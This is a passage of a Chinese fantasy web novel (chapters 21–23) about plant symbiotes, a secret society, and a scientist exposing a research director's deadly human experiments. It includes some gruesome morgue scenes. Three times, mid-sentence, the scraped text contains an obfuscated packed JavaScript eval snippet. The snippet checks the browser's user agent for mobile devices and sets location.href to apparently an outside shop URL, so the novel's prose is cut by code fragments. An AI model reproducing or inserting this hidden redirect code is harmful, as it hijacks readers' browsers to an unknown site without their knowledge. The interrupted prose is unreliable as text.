修恩的耳边吵到不行,如果还有力气,他一定会堵住自己的耳朵。然而意识正在远去,随着赫迪安的咽下最后一口气,恐怖的声音沿着他的异植、言叶草窜入耳廓。 陆池修要借的东西,就是它。 能千里传音的言叶草。 不知过了多久,是赫尔曼的声音传来,这声线他到死都记得。 但话不是说给他听的,忽近忽远。 修恩隐约看到了净化会宽敞庄严的办公室,赫尔曼背着手,对赫迪安说:“这次的计划决不能出差池,你给我记清楚,赵所长会运送一批很重要的‘货物’给我们……” 等等,这是……赫迪安的记忆? 修恩刚意识到,就彻底陷入了一片黑暗。 …… 等到修恩再次有了意识,已经不知道过去了多久。他好像睡了一个世纪,头痛欲裂,耳边嗡嗡作响,哭声,叫喊声,呵斥声,他听到了数次,压根分不清到底是谁的。 “修恩怎么样。”赫尔曼问。 主治医生:“禀告执行官,修恩先生身上有167块骨头都摔断了……只剩舌骨、耳小骨和部分跖骨还完好。我们用了大量的麻醉剂,效果不好,他接下来的日子怕是很难熬。” 昏迷间修恩还算了一下:167块骨头断裂,受力相当于被时速120公里的列车从正面撞飞。 这就是陆池修说的“我心里有数”,说的时候还信誓旦旦,男人的嘴果然不能相信。 修恩浑身发抖,身体被碾压过一般,没有一处好受的地方。 白森森的墙映入眼帘,修恩遮住了眼。 “你醒了,修恩?” 声音仿佛来自地狱,带着一点优雅,却让人浑身发冷。修恩看向面色憔悴的男人,硬生生压下心底的不适,说了声:“执行官。” 赫尔曼眼窝深邃,目光沉沉地落在他身上,剥皮剔骨地观察着什么。 “赫迪安……怎么样了。”修恩问。 赫尔曼:“死了。” 像在说一件稀松平常的事,嘴角微微勾起,没有笑意。 空气中酝酿起顶级异植的气息,医生脸色一变,修恩更是难以克制地发冷,突然,赫尔曼拉起他的手臂,手掌相贴,修恩瞳孔一缩。 “你跟着卫队,是怎么被陆池修抓住的?” 询问声响起的同时,赫尔曼手腕间出现几十条金色的藤蔓,缠住了修恩的手。主治医生看得心惊肉跳,那是金系异植的始祖原株、Lv.7圣血藤。 更惊讶的是,能量在源源不断传输,执行官在帮修恩疗伤。 修恩额头起了一层汗,他喉结一哽咽了口水:“我当时在朝圣湖看修女们祝祷,陆池修正好出现在了那里。” “是吗,那你认为,陆池修为什么要对赫迪安下手?” 负责调查的卫队长反馈过这件事,赫尔曼瞟了眼桌上一叠薄薄的纸。 “两人怕是积怨已久,陆池修被关押的期间,赫迪安做了很多出格的事。” 修恩有点佩服陆池修了。 但凡死的是别人,他都没法如此完美地圆谎。 不会有人想到,陆池修杀赫迪安,是为了获取净化会在潼港的具体计划。 修恩后知后觉,陆池修没有挖出右眼,是需要灵视藤窃取赫迪安的记忆,从和唐奂通话时,陆池修已经想到这个办法了。 一股更强大的异能涌入血液,粉碎的骨头在愈合,错位的骨骼在移动,修恩疼得一声闷哼,再次对上赫尔曼的视线。 “不过……”赫尔曼语气一顿,目光深深地凝视他,“你认为,他为什么要去惊吓朝圣湖的那些修女呢。 修恩:“……” 数千盏纸灯一齐飞向天际,这是多么好看的景象啊,身为旅行男友怎么能错过呢。 想到这里,修恩的头真的开始痛了。 妈的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111664|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他实在编不下去了 还能为什么。 “……烽火戏诸侯呗。”他喃喃道。 赫尔曼:“什么?” “没什么!”修恩一秒回神,他从来没有如此庆幸博学多闻的赫尔曼是个生洲人,应该听不懂周幽王的典故。 赫尔曼盯着他看了许久,终于露出笑意。 随着最后一次能量输送完毕,金色的圣血藤松开,主治医生慌忙来看,惊讶修恩恢复的速度。 修恩整个人昏昏沉沉,瘫在床头喘息。 三个月前,抓捕陆池修的那次胜利让生洲人冲昏了头脑。 他们还不知道,有一个能让陆池修不惜燃火自焚的存在,他来自生洲算计了数百年的蓝星,叫唐奂。 咚咚。 “执行官,是我。” 修恩向门口看去,是净化会的女秘书,艾丽卡。 艾丽卡有点像标准的白人美女,只不过她身材苗条,又只化淡妆,唇色也浅,长直的金发在脑后高高束起一条马尾。 医生自觉离去,艾丽卡的高跟鞋踏过病房的地板,发出有规律的咔嗒声,她向赫尔曼行礼:“执行官。” 病房的门关上后,赫尔曼问她:“什么事。” “执行官,卡尔斯来消息了。”艾丽卡秀气的指尖扫过显示屏,“卡尔斯说,有个叫贺淮的研究员找人向他递话,说有重要的事。结果就在第二天,这个研究员意外死亡了。消息是一个叫黎准的指挥官报告安全署总部的,应该可信。” 修恩指尖无意识地蜷紧,好险。 贺淮一定是去告状的,因为他回绝了昼夜花的消息。 “很抱歉。”艾丽卡说,“我知道您正因为赫迪安阁下的去世难过,不该因为这样的事给您添麻烦。” 赫尔曼:“人怎么死的?” “说是葬身火海了,但尸体不知所踪。”艾丽卡加重了语气,“执行官,这件事有点蹊跷。” 赫尔曼:“他的晶片还在用吗。” 床板猛地震了一下,艾丽卡一惊,只见修恩一个垂死惊坐起,她差点叫出声。 修恩的喉结滚了滚,嘴巴微张,却迟迟没有发出声,不过他指尖嵌进床单,潮湿的汗水顺着后背沁透了病服。 好想吐。 修恩感到胃部一阵痉挛,因为紧张,浑身都在隐隐作痛。 “你好好休息,修恩。” 赫尔曼起身离去,然而走了没几步,手落向门把手的同时:“艾丽卡,你刚才说,那个研究员叫什么?” “贺淮。”艾丽卡说,“就是那个刚入会的研究员,承大毕业的博士高材生。” 赫尔曼脚步停滞,细细思索,似乎想起这个名字了。 印象中是个更适合当生意人的家伙,眼神透着一股精明。而且,贺淮似乎对永久的共生很排斥,反而把目光转向了有效期短暂的“共生药粉”。 “死了……”一声喃喃后赫尔曼打开门,他回过头,湖蓝色的眼底闪过寒光:“艾丽卡,你亲自去查查。” 艾丽卡一怔,立刻应声:“是,执行官。” 赫尔曼离开后,艾丽卡正要查看后台,一只手按住了她,是修恩。 “先生?” “不能联系他!”一行冷汗流了一下来,修恩说,“贺淮还活着但官方说他死了,这不合常理!……这、这可能是他被秘密关押了,我们联系他,会害死他的!” 美女听得汗毛倒竖:“那怎么办,要么我还是去报告执行官……” “我来帮你!”修恩说,“那个晶片是生物感应装置。你先等几天,等我身体恢复了,我亲自帮你确认!” 21. 第 21 章 “……所长要调职?” 走进公寓楼,唐奂按下了电梯,等待期间,黎准在电话里说:“三天后,所长要办一场发表会。” 唐奂:“关于救活了张家6口人的?” “没错。”黎准那边在车上,隐约听到安稳的引擎声,“不过所长还没答应那边的邀请,我看他是在等说明会,到时候各个辖区长的代表们都会来现场,哪个区出价高,他就会去哪里。” 所长这是打算跑路了。 “……我想直接把人扣下。”黎准说。 当晚。 唐奂洗完澡,正给伤臂换药。 寂静的客厅里,唐奂单手咬住绷带把断臂固定,深吸一口气,强忍疼痛收紧包扎,最后,他握了握那只手,冷汗落了下来。 叮咚。 门铃声响了。 叮咚,叮咚,叮咚叮咚—— 唐奂用了几秒确定是自己家的门铃在响,他看向墙上的时钟,正好指在11点。 这个时间,会是谁呢。 …… 此刻,门外正有一个吊儿郎当的黄毛青年在看猫眼。 “唐奂先生~!”青年带着点吆喝的劲,一笑露出两颗虎牙,“我知道你在家,我给你送‘外卖’来了哦,不吃肯定会后悔的哦~~。” 一阵小风吹过,门内没有任何回应。 青年丝毫不气馁,笑着看自己异能积聚的手。 藤蔓像壁虎一样贴在了门上,青年一伸手,半条手臂探进屋里:“再不开门,我可要进去了哦。” 然而下一刻,齐刷刷的脚步声从走廊传来,十几条冰冷的枪.口已经指住了青年的脑袋。 周副手:“别动,再动打死你。” 这时,唐奂家的门缓缓打开了。 青年瞳孔地震,唐奂对那十几个人说了声没事,最后才看向他:“进来吧。” …… 青年哪里敢说个不字,随手关了门,跟在唐奂身后好奇问:“你知道我要来?” “不知道。” 说着,唐奂回头看了青年一眼。 青年一头凌乱的黄毛,眼神狡黠,长得像只潦草的狐狸,旧衬衫敞着两颗扣,牛仔外套皱巴巴的。 唐奂回到客厅,依次把茶几上的纱布,剪刀和药膏放回收纳盒。 诡异的气氛酝酿,青年有点尴尬,坐在小沙发上用膝盖夹着胳膊,咽了咽口水:“那个,我叫闫烁。以前是咱们潼港本地人,现在是生洲人。是修恩让我来找你的。” 唐奂这才知道修恩受伤了,包括陆池修越狱的事。 “等等,你是净化会的人?” “英雄不问出处!”闫烁似乎对这个话题有点抵触,激昂地说,“我也是为了潼港嘛,生命危险那都不算什么……哎?唐博士,我肚子饿了,给我点个外卖呗,我想吃必胜客的披萨!” “……” 唐奂没说话,向墙上的表投了个眼神。 “啊!他们营业到10点来着!哎呀……”闫烁满脸写着遗憾,但没两秒就眉头舒展,“没事!什么都行啊,小店也行,咱们这儿的小吃,那个,米线?我想吃米线!” …… 等外卖期间,唐奂把这人的底细盘了一遍。 闫烁因为办过假证,被顺着网线过来的警.察一通追捕,逃跑的时候摔下山坡,等再睁眼,人已经不在潼港了。 修恩探到净化会的计划后,用一种叫“言叶草”的植株定点传声,把情报转给了闫烁。 了解到这里,闫烁在唐奂眼里已经是一个人体U盘了。 叮咚! 这回是真送外卖的来了。 “我去拿!”闫烁两眼发光,搓着手就去了。 唐奂审视着那灵活的背影,闫烁从他的厨房拿了只碗,把米线倒进去,又加了点香油。 就着热气腾腾的米线,闫烁吸溜吸溜,声音响彻客厅。 唐奂端着杯茶:“你是怎么认识修恩的?” 不是他八卦,看闫烁这样子,不太像修恩能看对眼的。这么危险的事,亏修恩能交给这样的人。 “哎呀,你就别打听我了,我在潼港也不会多待,等交接完,你把密码告诉我,咱们的缘分就算结束了!以后绝不再见面!” 闫烁嚼了口米线,向他伸手,“先把密码给我!” 唐奂:“什么密码。” 此言一出,闫烁瞪大了眼睛,面都不香了,当场失声叫道:“啊?你不知道密码?!你们俩合起伙来耍我呢?” 唐奂很镇静:“修恩怎么和你说的?” “他……”闫烁筷子杵着脸回忆,“他只说你和他是同事,密码问你就行,8位数。” 确实是平平常常的一句话,闫烁听不出门道,唐奂一下子就猜出来了。 修恩离职后他才进所,两人其实算不得“同事”。修恩这么说,是在暗示他,密码是职员证的号码。那玩意人手一个,就是8位数。 不过唐奂假装思索:“好像有……但我记不清了。” 闫烁:“?!” “靠!”闫烁一下子站起来,“我说唐博士啊,你可别吓我,我这脑子里可是有所长和净化会的计划。你说不出密码,过几天咱们潼港出了事,你可就是千古罪人了!” 闫烁心想,自己好歹也是异能者,唐奂怎么就那么淡定。从踏进门起,唐奂就在牵着他的鼻子走。 两人隔着一碗吃了一半但还在冒热气的米线对视。 “让我成为罪人,你真的敢吗?” 唐奂摘掉眼镜,眼睫洒下一层阴影,“我看你是个投机分子,又不肯透露个人情况,你这样的人,为什么会冒着生命危险给我送情报呢。” “……”闫烁的冷汗顺着耳后流了下来,他不敢放松。 唐奂放下空了的茶杯,慢慢倒上新茶:“你是有什么把柄落在修恩手里了吧?” “——!” 宛如五雷轰顶,闫烁看着淡定坐在沙发上的唐奂,放下面碗,腿一软扑通跪下:“唐博士,我、我刚到生洲的那天修恩救过我,后来他给我好处,让我盯着绿火旗那些人。前两天他又找到我,让我来给你报信。” 唐奂点头:“你本来不想答应,但他说,如果你不干,他保存在一个邮箱里的举报邮件就会发送到绿火旗?” 闫烁当场愣住:“你怎么知道?” 时钟又转了一圈,闫烁吃完了一整碗米线,喝了他剩下的茶,摸着肚子靠在沙发上昏昏欲睡。 唐奂挺佩服这人,明明刚才还要死要活,转眼间已经像个活神仙了。 收拾完桌子,唐奂洗了手回来。 “……吃饱了?” “七分饱。” 闫烁一睁眼,唐奂的手伸到他面前:“不是说给我送‘外卖’吗,我的外卖在哪儿呢。” “差点忘了!”闫烁一个激灵坐起来,从口袋里摸出个细长的盒子,“陆池修给你的,打开看看吧。” 唐奂:“只有这个?” “不然呢?”闫烁看他,“你不要小看这个东西,在生洲可值钱了!” 唐奂没再说什么,拿着盒子去厨房了。 …… 第二天正午。 辖区中心医院地下一层,停尸房。 空气中弥漫着消毒水和冰冷金属的气息,冷藏柜排列整齐,在微弱的白炽灯下投出轮廓的影子,柜门上贴着标识,那是尸体的号码。 “唐、唐唐……唐奂你走慢点,你可千万不要丢下我啊!” 闫烁脸色煞白,冷气直往他的脖子钻,他缩紧肩膀,听到一点动静都要蹦起来,进来前那副“我是共生者我保护你”的架势早就荡然无存了。 唐奂腿长,身体的重心比普通人高,步子快还轻飘飘的。 “你冷静一点,这是太平间,又不是鬼屋。” 闫烁:“??” 这时,十几个白森森的医护人员两两一组推着尸体过来,金属滑轮碾过地板,走在前面的新手医护哐当撞了一台床架子,等着验尸的那具尸体脚丫子掉出了白衬单,大母脚趾上的吊牌甩了一下。 闫烁:“啊啊啊啊啊啊——” 新手医护一愣:“啊啊啊啊啊啊啊啊啊——” 唐奂:“……” 其他医护人员:“……” 全体尸体:“……” 众人头顶“请保持肃静”的牌子:“…………” 到了冰柜林列的地方,唐奂找到号码,用钥匙拧开冷藏柜前,最后一次重复了一遍清早的问题:“你确定是修恩的原话?” “我拿命发誓我确定!” 闫烁找了个角落蹲下来,看着唐奂的侧影。 唐奂身形高挑,单看五官就很冷淡,大约是腰部有一层薄薄的肌肉收紧,使得背部线条很直,给人一眼斯文精英的感觉。 头顶的空调又开始散发冷气,闫烁打了个寒颤,两只手交叉踹进袖口:“你快点,你知不知道有人真的会害怕尸体?” “人类害怕同类的尸体是很正常的。”唐奂说,“就算心理建设再完备,尸体散发的味道还是会唤醒我们怕死的基因。” 闫烁:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111665|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“植物也是如此,它们能释放化学信号警告邻近植株有危险,还会对腐败或有毒气体表现出负趋性……” 前半段还有科普的意味,讲到后面就是加密通话了。 “噗。”闫烁捂嘴一笑,“你是在转移注意力吗?” 唐奂重重叹了口气,他的一双手,正伸在柜子里。 闫烁:“触感如何?” 唐奂:“……” “这也没办法。”闫烁起身活动着发麻的腿,往墙上一靠,“伪生物识别膜,这是唯一干扰晶片的办法。这样一来,净化会就会确认到你是‘贺淮本人’了。” 但这实在算不上什么好办法。 唐奂的手正浸润在贺淮的血肉之中,尽管隔着特殊材料的手套,尽管极力克制,他的肩膀仍在微不可察地绷紧。 这个世界上有过前男友的人很多,前男友死的了应该不多,死了被自己亲手解剖的少之又少,事后自己的手还要伸进前男友碎尸的……想必不会再有了。 唐奂动了动手指,碎肉的缝隙间,空气随着他的动作发出声响,他忍不住皱起眉头。 …… 出了太平间,唐奂丢掉手套,在洗手池反复洗了好多遍,他把每一条指缝都挨个清洗,但还是有种说不出的恶心。 闫烁从他身旁贼兮兮冒头:“我听修恩说,你和橱子里那位以前是恋人。” “别再说了……” 水龙头再次拧开,唐奂皱眉,脸冲着洗手池的排水口。 半晌,他又说:“也不许再到处说了。” “别难过。”情爱之事闫烁也不完全懂,还宽慰唐奂:“相爱过的人啊,死了还被人切成好几份,让人怎么受得了,你要是想哭的话,我的肩膀可以借你靠!” “那你知道他是怎么变成好几份的么。”水珠顺着分明的下颌线滴落,唐奂抹掉下巴上的水,眼底冒寒气,“就是我切的。” 震惊了闫烁八百年:“——??” 半个小时后,两人一前一后出了中心医院的大门。 外面豁然开阔,左右停满了车辆,闫烁不认路,就只能跟着唐奂。 下了最后一层台阶,唐奂径直向一辆角落里的车走去,闫烁跟着上了车,后背贴住靠垫,长舒了一口气:“终于离开那个糟心的地方了。” “就是他?” 一个陌生的声音从副驾驶传来。 “卧槽。”闫烁一个猛子坐起来,只见一个军官模样的人回过头,一双骇人的眼睛盯着他:“唐奂,你确定要让这个人住在你家里?” “我家里有多余的卧室,空着也是空着。” 唐奂当然知道黎准话里的意思,其实昨晚他还有把人轰走的念头,架不住闫烁第二天起了个大早,早餐就整了一顿三菜一汤。 “前两天我派了多少人去照顾你,都让你挡在门外。”黎准捏着下巴,“我真看不懂你。” 这时,驾驶座的周副手:“唐博士,你手好了?” 唐奂今天没缠绷带,夹板也撤掉了,连带整个人的精气神都好了许多。 “多亏了一顿外卖。” 周副手:“?” 盒子里是一株唐奂都没见过的枯草,放入水中就化了,唐奂把手泡在里面,当晚就恢复得差不多了。 周副手踩下油门,SUV驶离中心医院,进入了宽阔的大路。 “怎么说。”黎准抱臂,从眼前的后视镜里看闫烁:“接下来我们要怎么行动?” 闫烁没说话,摸出手机打开一个气象软件,看了会儿:“嗯……不成,这一周都不行。最高的一天才35%。” “什么35%。”唐奂看了眼闫烁的手机。 降雨概率。 “等不了。”黎准说,“3天后的发表会,是最后期限。” “你……”闫烁直瞪眼,他感觉这人不可理喻:“你说等不了就等不了!老天爷不下雨我有什么办法?” “多大点事。”黎准摸着黑色护腕:“唐奂,挑个喜欢的日子。” 唐奂不含糊:“说明会当天。” “行。”黎准回头,对闫烁:“你也和他一起去。” “我不去!”除了憋着一口气,闫烁还胆小:“我偷着跑出来的!所长是净化会的人,我还上赶着往他面前凑,我这不是找死吗?” “不去是吧。”黎准不紧不慢掏出一份印着警方标识的文件,拨通了一个电话:“喂,李警官,有空来抓人吗,我这边有个办了假证在逃的——” “哎,哎——”闫烁连忙拉住黎准的手:“我去,我去还不行吗!” 22. 第 22 章 …… 天气这个东西,唐奂比一般人了解些。 这算是植物学的基础知识:温度、降水、湿度和光照等因素,对植物生长、开花结果和生态分布至关重要。 不过唐奂的研究都在实验室完成,亲自盯着天气预报还是第一次。 2月28日,周五,天气预报:晴转阴。 没雨。 市中心的生物医学研究中心人满为患。 会议厅灯光明亮,屏幕轮播着患者救治前后的影像,台下坐着各区派来的代表,他们注视的是同一个人,潼港植物研究所、所长赵盛。 “就算感染了植物病毒,我也能逆转它对人体的侵蚀。”所长按下激光笔,介绍道:“通过纳米载体,能激活人体的再生机制。” “当然,还要结合我独立开发的免疫制剂。” 有个代表举手:“能让我们见一见治疗成功的患者吗?” “可以。” 所长哪个区的代表都不会怠慢,给了助手一个眼神,没过多久,台上多了六个凳子,正是张全的6个家人。 每个人都容光焕发地和场下的代表们打招呼。 台下哗然。 因为现场禁止拍摄和录音,代表们在争分夺秒向各自的上司汇报。 “各位,接下来,我将——”正要开口,一个熟悉的身影从后门走了进来,所长顿住,脸上笑容登时就不见了。 “唐奂,唐奂……”闫烁几次想拉唐奂的衣袖,无奈唐奂在这种桌椅狭窄酷似大教室的地方还能健步如飞,不是他能逮得住的。 与唐奂四目相对,所长拿起话筒调侃:“唐奂,你不在研究所上班,怎么跑到这里来了?” “我看今天天气不好,来给您送东西。” 唐奂的手放进公文包,与此同时看向窗外。 乌云不知何时已悄然聚集,暗色的天幕压低,没过多久,原本明亮的会议厅也暗了下来,最初零星的雨点落下,轻轻敲打到了窗玻璃上。 所长一看,唐奂递过来的,是一把雨伞。 所长手中的激光笔掉在桌台,他转身看向嘉宾席的6个人,催促:“你们几个,立刻回休息室去,快去!!” 雨滴声越发密集,雨水重重砸在窗户上拉长成透明的水痕。 “都在干什么!快走!” 讲台上的所长大声吼着,可6个患者仿佛屁股钉在了凳子上,天色暗下来后,他们的表情就像木偶一样毫无波澜了。 咣当一声,会议厅的门被推开,是一列荷枪实弹的特战队,代表们面面相觑,周副手大手一挥:“抓人!” 空气闷得令人窒息,所长的瞳孔颤抖,他浑身都僵硬了。 所长和助手很快被押了出去,豆大的汗珠从所长斑白的两鬓落下,他几乎站不起来,被拖出了走廊。 等出了一楼大厅,所长远远看到一个瘦削修长的身影。 唐奂最后看了他一眼,撑开那把他没接的黑伞,皮鞋踏着湿润的地面,消失在了一辆生物安全署的车上。 …… 闫烁对唐奂一百个服气,对黎准一千个服气,服服帖帖,五体投地。 不管怎么说, 人工降雨, 搞植物学的可办不到。 “赵所长,你解释一下吧。” 审讯室里,黎准甩了一沓照片在所长面前的铁桌上,所长浑身发抖,上面是贺淮在酒吧和“志愿者”交接的照片。 哐哐哐—— 屏幕转播的玻璃罩内,六个患者双目布满了血丝,他们的皮肤变成了诡异的绿色,语言功能丧失,只知道惊恐地又捶又砸,活像恐怖片里的丧失。 所长一眼都不敢看,他本来就身体虚,颤抖时,刑讯椅跟着咔哒咔哒晃了起来。 闫烁站在角落的阴影里。 所谓救治好的“活人”,不过是傀儡,他们早就死了。 ——这些人,也就是赫尔曼口中的货物,是净化会把蓝星人变成异能者的一次尝试。 参与实验的人服用白色药粉,可以短暂获得对应的植物异能。 只可惜,成功率跌破了20%。 也就是说,每五个人只有一个成功,其余的变成活尸。 赫尔曼感兴趣的,恰恰是失败品。 净化会想调查清楚,同样是人类,为什么蓝星人的适配度这么低。 “用药把人变成共生者……”周副官忧心地看了眼丧尸般的那六个人,“让那些植物控制人类?” 唐奂:“正常来说,不该是这样的。” 他想到了修恩的话。 生洲人很会把握和异植的关系,根据个人的情况匹配不同等级的植物,不会让它们控制自己。 “这些人的情况更像是……奥菲奥科尔迪塞普斯单侧菌。”唐奂摸着下巴思忖,“它能寄生在蚂蚁身上,让‘僵尸蚂蚁’爬到特定高度咬住叶脉,直到头部背部爆发出新的孢子。” 这群失败的实验品,就像被真菌操控了的僵尸蚂蚁。 嘭嘭、嘭嘭嘭—— 气球炸裂般的声音在玻璃罩回荡,六个无辜的患者瞬间肢解,褐绿色的液体飞溅,取而代之的是六株蜃影藤。 它们爬满了玻璃壁,罩子里的空间根本不够,一时间里面就像装下了数条纠缠在一起的巨型章鱼。 这一幕幕都刺激了所长脆弱的神经,他红着眼:“我没想杀人,是他们自愿的!我也不知道为什么他们会变成这样!出事后我和贺淮一直在查,我到现在也不知道是为什么!” “老东西,你倒是把自己撇得干净!”黎准一拳砸在桌上。 “他应该没撒谎。”唐奂说,“我看过那个药粉,它能稳定生物电流平衡,让植化细胞和宿主共存。原则上,它在生洲应该是温和可控的。” “然而,蓝星的雨水氧气和微量元素很多,会让植化细胞异常增殖。” 说到这里,唐奂盖棺定论:“这样一来,或许能解释为什么他们害怕雨天。” “……” 所长混沌的眼珠抖动着,恨不得把唐奂扒皮削骨。 他不敢相信,自己多日来的困惑,被一个年纪轻轻的博士破解了。 “一定是你算计了我!!”所长企图挣脱手铐脚铐,被后面的守卫死死按了回去,他大声吼道:“唐奂!我最大的错误就是把你招进了研究所!!” 只是这次,他不能再高高在上地否定唐奂了。 因为唐奂的猜测极有可能是正解。 这时,审讯室的门被敲响,黎准示意唐奂跟来,两人出去后,铁门关闭,把所长的声音隔绝在了里面。 来人是一个特战队长,凑到黎准耳边:“跑了一个。” 黎准眸色一凛。 扣押所长的同时,特战队在全潼港配合警方展开搜捕,跟着引路的线人,抓捕了所有的异能志愿者。 “逃跑的人叫杨霖。事后确认,我们冲进去的时候他从后门跑了。” “他是打着伞跑的吗?”唐奂立刻问。 特战队长一顿,想了想,说:“冒着雨跑的。” 黎准蹙眉,不由得与唐奂对视:“这下糟糕了。” 唐奂点了点头。 跑的是一个异化成功了的人。 …… 辖区总控厅外是一片修剪整齐的绿化地,到车库还有一段路。 离开审讯室的大楼,周副手一路走在前面,唐奂问黎准:“这次抓捕所长,任怀安那边没有动静?” 别说动静了,连代表都没来发表会。 “任静以前有过精神问题,这次因为贺淮的死旧病复发了,他没工夫管所长的死活。”黎准说着,看向唐奂:“你那边呢,贺淮的事解决了?” “应该糊弄过去了。”唐奂撩起袖口,晶片还嵌在体内,没有异常,“修恩说,不出意外的话,净化会的人会以为我是贺淮本人。” “唐博士要回研究所去吗,我先送你。” 周副手倒车出库,出示完证件,在门卫的敬礼中驶离了总控厅。 “我有点私事,下了高速就放我下来吧。”唐奂说。 闫烁本想跟着,一看唐奂情绪有点低落,识相地说:“那个……我回家去,第二个送我就好。” 黎准:“谁问你了?” 闫烁努嘴,“哼。” 下了高速后,周副手找了个车流少的路口把唐奂放下,唐奂谢过,向一条巷子里走去,在花店买了一束百合,然后上了一辆出租车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111666|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天,是父母的忌日。 墓地挨着水库,要爬一段路。 唐奂父母的墓碑前方有一头石狮子。小时候听人说,夫妻有一方去世,墓碑两边会摆两只小狮子,骨灰埋在一边,另一边空着。等另一方也去世,两头小狮子搬走,重新换一头新的大石狮子,意味着两人从此封住了姻缘。 他的父母没有经历这个过程,两人同一天去世,墓地买下时,直接就是一头石狮子了。 “我又见到那些怪异的植物了。”唐奂把百合放在碑前,看着父母的合照,“或许,我离真相更近了。” 下山的路上,唐奂拿出手机,“旅行男友”的图标上没有任何消息。 自从那次仓促视频后,就再也没有消息进来了。 或许是此情此景拨动人的情绪,有那么一瞬间,唐奂好像get到那些苦苦等待虚拟男友来消息的玩家了。 不愧是“放置类游戏”。 这次时间久到连他都有点期待了。 唐奂边走边翻手机,没多久手心里发烫起来,他想起去发表会时上交过手机,当时还有80%的电,现在只剩30%不到了。 一股不好的预感袭来,唐奂打开地图,输入了研究所的地址,选择定位。 不出预料,定位出现了微妙的偏离。 这次,唐奂越发笃定了。 他的手机被监控了。 一路下山,唐奂假装随意翻手机,删掉了几个不常用的app后,终于把屏幕翻到了最后一页。 出租车如约而来,停在了唐奂面前。 上车前,唐奂常按住旅行男友的图标,指尖僵硬地点下了删除键。 —— 3日后。 生洲,净化会银旌堡。 群山环绕的高地之上,散发着中世纪气息的城堡古老又庄严。 灰白色的石墙布满攀援的银色荆棘,塔楼在云雾间隐现,尖顶覆盖着岁月斑驳的黑瓦。 待客室。 艾丽卡坐立不安地翻着平板。 旁边的阿列克西百无聊赖咬着一根牙签,这人身材瘦高但肌肉紧绷,下嘴唇打了唇钉,银灰色的头发和小麦色的皮肤衬得放荡不羁。 任谁来看,都知道这是一个惹不起的高级共生者。 “执行官还没来?”他问。 艾丽卡说:“绿火旗来客人了,执行官在接待他们。” 阿列克西撇撇嘴。 没过多久,走廊传来赫尔曼的脚步声,两人起身站好,等赫尔曼推门进来,他们做出统一恭候的姿势。 “出什么事了。”赫尔曼问。 艾丽卡皱着眉:“赵所长失联了。” 此言一出,房间内安静了一瞬,刚从边境回来的阿列克西听不懂加密通话,看看赫尔曼,又看看艾丽卡。 赫尔曼:“实验品呢。” 艾丽卡摇了摇头:“潼港的线人也没有消息。另外,贺淮那边我确认过了,本人还活着。” 阿列克西眉头一皱。 赫尔曼蓝眸平静如水,片刻,他说:“这件事从一开始就不太对劲。” 艾丽卡垂眼:“对不起。” “不是你的问题。” 赫尔曼从她身边走过,来到阿列克西面前:“回来了。” “是。”阿列克西弯着高大的身体,一只枯骨般的大手放在肩侧,“您与联合会抓捕陆池修的时候,我没能回来帮忙,实在抱歉。” 赫尔曼没接他的话,只说:“不介意再替我跑一趟吧。” 阿列克西:“去哪儿?” “潼港。”赫尔曼说,“去给我查一个人。” 阿列克西:“查所长?” “不,查贺淮。” “可是执行官……” 赫尔曼一抬手,示意艾丽卡不用解释,继续对阿列克西说:“你亲自去见贺淮一面,打听打听最近到底出了什么事。” 阿列克西眼底露出一抹狠厉的煞气,“那我去了可以杀人吗?” “……哦,对了。” 赫尔曼停在门口,回过头微笑着说:“顺便也替我问问华国的朋友们,什么叫‘烽火戏诸侯’。” 阿列克西一怔,“啥?” 23. 第 23 章 …… 生洲。 银旌堡烛光摇曳,火焰照亮了漆黑橡木墙上的族徽。 修恩路过大厅,看了一眼。 仆人端着精致的银盘,紫罗兰糖渍,烟熏鹿肉和香醇的陈年葡萄酒送进了雕花门。 这道门里面,生洲最有权势的两个组织在进行一场博弈。 最近,外面有风声说,净化会吸纳蓝星的植物学研究者,其实是为了研究陆池修身上的秘密。 生洲至今只有3位实现了“一人多植”的共生者。 白峤死后,这样的共生者除了绿火旗的祁夜,就只剩陆池修了。 而陆池修不管是能力和价值,都远超剩下的两个。 外界猜测,就算破解不了一人多植的机制,光是把陆池修的30多株异植弄到手,也足够在联合会上一家独大。 绿火旗自然不会坐视不管。 “修恩先生。” 修恩不觉间在大厅站了很久,艾丽卡从二楼下来,向他行礼:“您来找执行官吗?” “啊,不。”修恩说,“我只是路过。” 隐约感觉到艾丽卡的神色不对劲,修恩看似不经意:“谈判还顺利吗?” “执行官同意把陆池修让给绿火旗,不过要在取走那些异植以后。”艾丽卡说,“……但是,现在已经不是谈这个的时候了。” “怎么了。” “陆池修出了点情况。” …… 陆池修进入了封闭防御状态。 原因不明。 